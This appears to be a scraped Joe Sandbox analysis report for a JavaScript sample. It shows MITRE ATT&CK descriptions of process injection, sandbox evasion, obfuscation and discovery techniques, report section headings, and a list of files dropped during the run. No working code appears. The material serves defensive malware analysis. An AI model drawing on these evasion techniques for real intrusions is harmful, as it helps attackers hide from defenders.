1521	nbctpqo ( );	nbctpqo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1709817689110827228.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\16444e62-5de8-4447-9f3e-b64207d48982.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5172

Windows Analysis Report
1709817689110827228.js